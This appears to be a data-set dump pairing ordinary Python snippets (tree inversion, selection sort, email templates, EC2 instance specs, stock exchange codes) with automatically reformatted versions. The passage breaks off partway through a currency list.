content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
def invert_binary_tree(node):
if node:
node.left, node.right = invert_binary_tree(node.right), invert_binary_tree(node.left)
return node
class BinaryTreeNode(object):
def __init__(self, value, left=None, right=None):
self.value = value
self.left = None
self.right = None
btn_root = BinaryTreeNode(10)
btn_1 = BinaryTreeNode(8)
btn_2 = BinaryTreeNode(9)
btn_root.left = btn_1
btn_root.right = btn_2
print(btn_root.left.value)
print(btn_root.right.value)
btn_root = invert_binary_tree(btn_root)
print(btn_root.left.value)
print(btn_root.right.value)
| def invert_binary_tree(node):
if node:
(node.left, node.right) = (invert_binary_tree(node.right), invert_binary_tree(node.left))
return node
class Binarytreenode(object):
def __init__(self, value, left=None, right=None):
self.value = value
self.left = None
self.right = None
btn_root = binary_tree_node(10)
btn_1 = binary_tree_node(8)
btn_2 = binary_tree_node(9)
btn_root.left = btn_1
btn_root.right = btn_2
print(btn_root.left.value)
print(btn_root.right.value)
btn_root = invert_binary_tree(btn_root)
print(btn_root.left.value)
print(btn_root.right.value) |
#!/usr/bin/env python3
def selection_sort(lst):
length = len(lst)
for i in range(length - 1):
least = i
for k in range(i + 1, length):
if lst[k] < lst[least]:
least = k
lst[least], lst[i] = (lst[i], lst[least])
return lst
print(selection_sort([5, 2, 4, 6, 1, 3])) | def selection_sort(lst):
length = len(lst)
for i in range(length - 1):
least = i
for k in range(i + 1, length):
if lst[k] < lst[least]:
least = k
(lst[least], lst[i]) = (lst[i], lst[least])
return lst
print(selection_sort([5, 2, 4, 6, 1, 3])) |
class EmailTypes(object):
AUTH_WELCOME_EMAIL = "auth__welcome_email"
AUTH_VERIFY_SIGNUP_EMAIL = "auth__verify_signup_email"
EMAILS = {}
EMAILS[EmailTypes.AUTH_WELCOME_EMAIL] = {
"is_active": False,
"html_template": "emails/action-template.html",
"text_template": "emails/action-template.txt",
"subject": "",
"sender": "EMAIL SUBJECT",
"message": u"""EMAIL MESSAGE""",
"title": u"Title",
"title_color": "",
"signature": {
"sign_off": "Best,",
"name": "First Last Name",
"email": "first@djangoapp.com",
"email_subject": "",
"tile": "",
},
"cta_i": {
"button_title": "Confirm Email Address",
"button_color": "",
"button_link": "",
"message": "",
}
}
EMAILS[EmailTypes.AUTH_VERIFY_SIGNUP_EMAIL] = {
"is_active": False,
"html_template": "emails/action-template.html",
"text_template": "emails/action-template.txt",
"subject": "",
"sender": "EMAIL SUBJECT",
"message": u"""EMAIL MESSAGE""",
"title": u"Title",
"title_color": "",
"signature": {
"sign_off": "Best,",
"name": "First Last Name",
"email": "first@djangoapp.com",
"email_subject": "",
"tile": "",
},
"cta_i": {
"button_title": "Confirm Email Address",
"button_color": "",
"button_link": "",
"message": "",
}
}
| class Emailtypes(object):
auth_welcome_email = 'auth__welcome_email'
auth_verify_signup_email = 'auth__verify_signup_email'
emails = {}
EMAILS[EmailTypes.AUTH_WELCOME_EMAIL] = {'is_active': False, 'html_template': 'emails/action-template.html', 'text_template': 'emails/action-template.txt', 'subject': '', 'sender': 'EMAIL SUBJECT', 'message': u'EMAIL MESSAGE', 'title': u'Title', 'title_color': '', 'signature': {'sign_off': 'Best,', 'name': 'First Last Name', 'email': 'first@djangoapp.com', 'email_subject': '', 'tile': ''}, 'cta_i': {'button_title': 'Confirm Email Address', 'button_color': '', 'button_link': '', 'message': ''}}
EMAILS[EmailTypes.AUTH_VERIFY_SIGNUP_EMAIL] = {'is_active': False, 'html_template': 'emails/action-template.html', 'text_template': 'emails/action-template.txt', 'subject': '', 'sender': 'EMAIL SUBJECT', 'message': u'EMAIL MESSAGE', 'title': u'Title', 'title_color': '', 'signature': {'sign_off': 'Best,', 'name': 'First Last Name', 'email': 'first@djangoapp.com', 'email_subject': '', 'tile': ''}, 'cta_i': {'button_title': 'Confirm Email Address', 'button_color': '', 'button_link': '', 'message': ''}} |
test = {
'name': 'q3_1_8',
'points': 1,
'suites': [
{
'cases': [
{
'code': r"""
>>> genre_and_distances.labels == ('Genre', 'Distance')
True
""",
'hidden': False,
'locked': False
},
{
'code': r"""
>>> genre_and_distances.num_rows == train_movies.num_rows
True
""",
'hidden': False,
'locked': False
},
{
'code': r"""
>>> print(genre_and_distances.group('Genre'))
Genre | count
comedy | 113
thriller | 201
""",
'hidden': False,
'locked': False
},
{
'code': r"""
>>> np.allclose(genre_and_distances.column('Distance'), sorted(fast_distances(test_my_features.row(0), train_my_features)))
True
""",
'hidden': False,
'locked': False
}
],
'scored': True,
'setup': '',
'teardown': '',
'type': 'doctest'
}
]
}
| test = {'name': 'q3_1_8', 'points': 1, 'suites': [{'cases': [{'code': "\n >>> genre_and_distances.labels == ('Genre', 'Distance')\n True\n ", 'hidden': False, 'locked': False}, {'code': '\n >>> genre_and_distances.num_rows == train_movies.num_rows\n True\n ', 'hidden': False, 'locked': False}, {'code': "\n >>> print(genre_and_distances.group('Genre'))\n Genre | count\n comedy | 113\n thriller | 201\n ", 'hidden': False, 'locked': False}, {'code': "\n >>> np.allclose(genre_and_distances.column('Distance'), sorted(fast_distances(test_my_features.row(0), train_my_features)))\n True\n ", 'hidden': False, 'locked': False}], 'scored': True, 'setup': '', 'teardown': '', 'type': 'doctest'}]} |
count = input('How many people will be in the dinner group? ')
count = int(count)
if count > 8:
print('You\'ll have to wait for a table.')
else:
print('The table is ready.')
| count = input('How many people will be in the dinner group? ')
count = int(count)
if count > 8:
print("You'll have to wait for a table.")
else:
print('The table is ready.') |
# Automatically generated
# pylint: disable=all
get = [{'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1], 'SizeInMiB': 2048, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.medium', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 2048}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1], 'SizeInMiB': 4096, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.large', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 4096}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1], 'SizeInMiB': 8192, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 8192}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1], 'SizeInMiB': 16384, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.2xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 16384}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1], 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.4xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.metal', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': True, 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}] # noqa: E501
def get_instances_list() -> list:
'''Returns list EC2 instances with InstanceType = a .'''
# pylint: disable=all
return get
| get = [{'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1], 'SizeInMiB': 2048, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.medium', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 2048}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1], 'SizeInMiB': 4096, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.large', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 4096}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1], 'SizeInMiB': 8192, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 4, 'DefaultCores': 4, 'DefaultThreadsPerCore': 1, 'ValidCores': [4], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 8192}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1], 'SizeInMiB': 16384, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.2xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 8, 'DefaultCores': 8, 'DefaultThreadsPerCore': 1, 'ValidCores': [8], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 16384}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 15, 'Ipv6AddressesPerInterface': 15, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1], 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.4xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16, 'DefaultCores': 16, 'DefaultThreadsPerCore': 1, 'ValidCores': [16], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 16, 'SizeInMiB': 32768, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.metal', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': True, 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 16}, 'MemoryInfo': {'SizeInMiB': 32768}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}]
def get_instances_list() -> list:
"""Returns list EC2 instances with InstanceType = a ."""
return get |
# https://stockmarketmba.com/globalstockexchanges.php
exchanges = {
'USA': None,
'Germany': 'XETR',
'Hong Kong': 'XHKG',
'Japan': 'XTKS',
'France': 'XPAR',
'Canada': 'XTSE',
'United Kingdom': 'XLON',
'Switzerland': 'XSWX',
'Australia': 'XASX',
'South Korea': 'XKRX',
'The Netherlands': 'XAMS',
'Spain': 'XMAD',
'Russia': 'MISX',
'Italy': 'XMIL',
'Belgium': 'XBRU',
'Mexiko': 'XMEX',
'Sweden': 'XSTO',
'Norway': 'XOSL',
'Finland': 'XHEL',
'Denmark': 'XCSE',
'Austria': 'XWBO'
}
exchanges_untested = {
'Argentina': 'XBUE',
'Australia_XNEC': 'XNEC',
'Australia': 'XASX',
'Austria': 'XWBO',
'Bahrain': 'XBAH',
'Bangladesh': 'XDHA',
'Belgium': 'XBRU',
'Brazil': 'BVMF',
'Canada_XCNQ': 'XCNQ',
'Canada': 'XTSE',
'Canada_XTSX': 'XTSX',
'Canada_NEOE': 'NEOE',
'Chile': 'XSGO',
'China_SHG': 'XSHG',
'China': 'XSHE',
'Colombia': 'XBOG',
'Croatia': 'XZAG',
'Cyprus': 'XCYS',
'Czech Republic': 'XPRA',
'Denmark': 'XCSE',
'Egypt': 'XCAI',
'Finland': 'XHEL',
'France': 'XPAR',
'Germany_XEQT': 'XEQT',
'Germany_XBER': 'XBER',
'Germany_XDUS': 'XDUS',
'Germany_XFRA': 'XFRA',
'Germany_XMUN': 'XMUN',
'Germany_XSTU': 'XSTU',
'Germany': 'XETR',
'Germany_XQTX': 'XQTX',
'Greece': 'XATH',
'Hong Kong': 'XHKG',
'Hungary': 'XBUD',
'Iceland': 'XICE',
'India_XBOM': 'XBOM',
'India': 'XNSE',
'Indonesia': 'XIDX',
'Ireland': 'XDUB',
'Israel': 'XTAE',
'Italy': 'MTAA',
'Japan': 'XTKS',
'Jordan': 'XAMM',
'Kenya': 'XNAI',
'Kuwait': 'XKUW',
'Luxembourg': 'XLUX',
'Malaysia': 'XKLS',
'Mexico': 'XMEX',
'Morocco': 'XCAS',
'New Zealand': 'XNZE',
'Nigeria': 'XNSA',
'Norway': 'XOSL',
'Norway_NOTC': 'NOTC',
'Oman': 'XMUS',
'Pakistan': 'XKAR',
'Peru': 'XLIM',
'Philippines': 'XPHS',
'Poland': 'XWAR',
'Portugal': 'XLIS',
'Qatar': 'DSMD',
'Romania': 'XBSE',
'Russia': 'MISX',
'Saudi Arabia': 'XSAU',
'Senegal': 'XBRV',
'Singapore': 'XSES',
'Slovenia': 'XLJU',
'South Africa': 'XJSE',
'South Korea': 'XKRX',
'South Korea_XKOS': 'XKOS',
'Spain': 'XMAD',
'Sri Lanka': 'XCOL',
'Sweden_XNGM': 'XNGM',
'Sweden': 'XSTO',
'Switzerland': 'XSWX',
'Switzerland_XVTX': 'XVTX',
'Syria': 'XDSE',
'Taiwan': 'XTAI',
'Thailand': 'XBKK',
'The Netherlands_XTOMX': 'TOMX',
'The Netherlands': 'XAMS',
'Turkey': 'XIST',
'United Arab Emirates_XDFM': 'XDFM',
'United Arab Emirates_DIFX': 'DIFX',
'United Arab Emirates': 'XADS',
'United Kingdom_BATE': 'BATE',
'United Kingdom_CHIX': 'CHIX',
'United Kingdom': 'XLON',
'United Kingdom_XPOS': 'XPOS',
'United Kingdom_TRQX': 'TRQX',
'United Kingdom_BOAT': 'BOAT',
'USA_XASE': 'XASE',
'USA_BATS': 'BATS',
'USA_XNYS': 'XNYS',
'USA_ARCX': 'ARCX',
'USA_XNMS': 'XNMS',
'USA_XNCM': 'XNCM',
'USA_OOTC': 'OOTC',
'USA_XNGS': 'XNGS',
'USA': None,
'Vietnam': 'XSTC',
'Vietnam_HSTC': 'HSTC'
}
currencies = [
'ALL',
'AFN',
'ARS',
'AWG',
'AUD',
'AZN',
'BSD',
'BBD',
'BYN',
'BZD',
'BMD',
'BOB',
'BAM',
'BWP',
'BGN',
'BRL',
'BND',
'KHR',
'CAD',
'KYD',
'CLP',
'CNY',
'COP',
